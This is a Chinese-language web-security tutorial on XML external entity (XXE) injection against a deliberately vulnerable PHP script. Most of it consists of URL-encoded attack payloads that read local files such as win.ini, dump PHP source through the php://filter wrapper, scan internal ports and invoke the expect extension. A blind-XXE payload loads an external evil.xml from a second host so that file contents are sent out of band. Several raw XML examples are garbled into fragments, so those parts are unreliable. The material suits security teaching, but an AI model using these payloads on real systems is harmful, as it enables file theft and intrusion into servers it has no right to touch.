%3c xml 和php冲突,[原创]WEB安全第五章 漏洞学习与利用11 xml实体注入

WEB安全第五章 漏洞学习与利用11 xml实体注入

XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进⾏处理时引发的安全问题。

libxml

1.内部实体

在程序用的比较多就是内部实体

<?xml version="1.0" encoding="ISO-8859-1"?>GeorgeJohnReminderDon't forget the meeting!

2.外部实体

外部实体可支持http、file等协议 不同程序支持的协议也不同。

外部实体注入攻击的常见

$string_xml = '<?xml version="1.0" encoding="utf-8"?>GeorgeJohnReminderxml实体注入';

$xml = isset($_GET['xml'])?$_GET['xml']:$string_xml;

$data = simplexml_load_string($xml);

echo '';

print_r($data);

?>

3有回显

任意读取文件

<?xml version="1.0"?>]>&b;

<?xml version="1.0"?>]>&b;

http://192.168.0.121/xxe.php?xml=%3C%3Fxml%20version%3D%221.0%22%3F%3E%3C%21DOCTYPE%20%20a%20%20%5B%3C%21ENTITY%20b%20SYSTEM%20%22file%3A%2f%2f%2fC%3A%2fWindows%2fwin.ini%22%3E%5D%3E%3Cc%3E%26b%3B%3C%2fc%3E

使用是要进行编码

在php里还可以利用伪协议读取文件

]>

&xxe;

http://192.168.0.121/xxe.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%20%0A%3C%21DOCTYPE%20xdsec%20%5B%0A%3C%21ELEMENT%20methodname%20ANY%20%3E%0A%3C%21ENTITY%20xxe%20SYSTEM%20%22php%3A%2f%2ffilter%2fread%3Dconvert.base64-encode%2fresource%3Dphpinfo.php%22%20%3E%5D%3E%0A%3Cmethodcall%3E%0A%3Cmethodname%3E%26xxe%3B%3C%2fmethodname%3E%0A%3C%2fmethodcall%3E%0A

扫描端口

]>

&test;

http://192.168.0.121/xxe.php?xml=%3C%3Fxml%20version%3D%221.0%22%3F%3E%0A%3C%21DOCTYPE%20ANY%20%5B%0A%3C%21ENTITY%20test%20SYSTEM%20%22http%3A%2f%2f192.168.0.107%3A80%22%3E%0A%5D%3E%0A%3Cabc%3E%26test%3B%3C%2fabc%3E%0A

执行命令

若开启expect扩展

http://webpenter.com/xxe.php?xml=<?xml version="1.0"?>

]>

&test;

2、无回显

称为 blind xxe 可以使用外带数据通道 提取数据

http://192.168.0.121/xxe02.php?xml=<?xml version="1.0"?>

%remote;

%all;

]>

&send;

http://192.168.0.121/xxe02.php?xml=%3C%3Fxml%20version%3D%221.0%22%3F%3E%0A%3C%21DOCTYPE%20ANY%5B%0A%3C%21ENTITY%20%25%20file%20SYSTEM%20%22file%3A%2f%2f%2fC%3A%2f1.txt%22%3E%0A%3C%21ENTITY%20%25%20remote%20SYSTEM%20%22http%3A%2f%2f192.168.0.107%2fevil.xml%22%3E%0A%25remote%3B%0A%25all%3B%0A%5D%3E%0A%3Croot%3E%26send%3B%3C%2froot%3E%0A

evil.xml 文件内容

">

]>

&send;

1.php

原创文章，作者：mOon，如若转载，请注明出处：https://www.moonsec.com/archives/321